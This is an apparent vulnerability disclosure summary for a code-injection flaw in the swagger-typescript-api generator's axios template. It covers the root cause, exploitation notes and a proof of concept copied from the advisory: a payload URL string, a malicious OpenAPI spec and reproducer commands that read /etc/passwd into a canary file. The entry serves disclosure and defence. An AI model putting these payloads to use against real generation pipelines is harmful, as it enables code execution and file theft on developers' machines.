# swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in axios http-client template

Unescaped servers[0].url in swagger-typescript-api's axios template lets a malicious OpenAPI spec inject a computed object key IIFE that runs on HttpClient construction.

- Payout: Research
- Severity: high
- Program: swagger-typescript-api
- Found by: thegr1ffyn
- Disclosed: 2026-07-29
- CVE: CVE-2026-54661
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-38c3-wv3c-v3xj
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-38c3-wv3c-v3xj
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:nodejs tech:rest technique:chained technique:source-review vuln:command-injection vuln:rce

**Target:** npm code generator (axios http-client EJS template)
**Root cause:** createApiConfig copies servers[0].url into apiConfig.baseUrl unsanitized, and the axios template interpolates it with Eta's raw `<%~ %>` into a TS string literal inside the axios.create({...}) object literal, so a `"` breaks out into object-literal context.
**Steps:**
1. Set spec `servers[0].url` to `https://api.example.com", [(async () => { ... })()]: 0, dummy: "`
2. Run `generateApi({ input: 'payload-spec.json', httpClientType: 'axios' })`
3. Generated constructor contains `baseURL: ... || "https://api.example.com", [(async () => {...})()]: 0, dummy: ""`
4. Bundle with esbuild and `new mod.HttpClient()`; IIFE fires, writing /etc/passwd to /tmp/sta_canary
**How found:** Noticed the axios template interpolates apiConfig.baseUrl with raw `<%~ %>`; recognized the sink sits inside an object literal where statement injection fails but computed property keys allow eager IIFE evaluation; used trailing `dummy: "` to keep generated TS syntactically valid.
**Exploitation:** Attacker supplies or hosts a malicious OpenAPI spec consumed by a victim's generation pipeline; the generated axios client's HttpClient constructor evaluates the injected computed-key IIFE on instantiation (typically at module load via `new Api()`), executing with the importing process's privileges to read/write files or exfiltrate secrets.
**Escalation:** Trigger window widened because Api extends HttpClient and README pattern instantiates at module top level, so import alone executes payload.
**Insight:** When a template sink lands inside an object literal rather than statement context, computed property keys `[expr]: val` still give eager code execution; also check sibling templates (fetch vs axios) sharing the same unsanitized source variable.

## Proof of concept (copied exactly from the original report)

**Malicious servers[0].url payload string**

```
https://api.example.com", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: "
```

**Minimal payload OpenAPI spec JSON**

```
{
  "openapi": "3.0.0",
  "info": { "title": "AxiosPayloadAPI", "version": "1.0.0" },
  "servers": [
    {
      "url": "https://api.example.com\", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: \""
    }
  ],
  "paths": {
    "/ping": {
      "get": {
        "operationId": "ping",
        "responses": { "200": { "description": "OK" } }
```

**Reproducer commands generating and executing payload**

```
npm install swagger-typescript-api@13.12.1 esbuild axios
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  name: 'Api.ts', output: process.cwd() + '/out',
  input: process.cwd() + '/payload-spec.json', httpClientType: 'axios'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
  --external:axios --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "
  const mod = await import('./out/Api.bundle.mjs');
  new mod.HttpClient();
  await new Promise(r => setTimeout(r, 300));
"
ls -la /tmp/sta_canary && cat /tmp/sta_canary
```

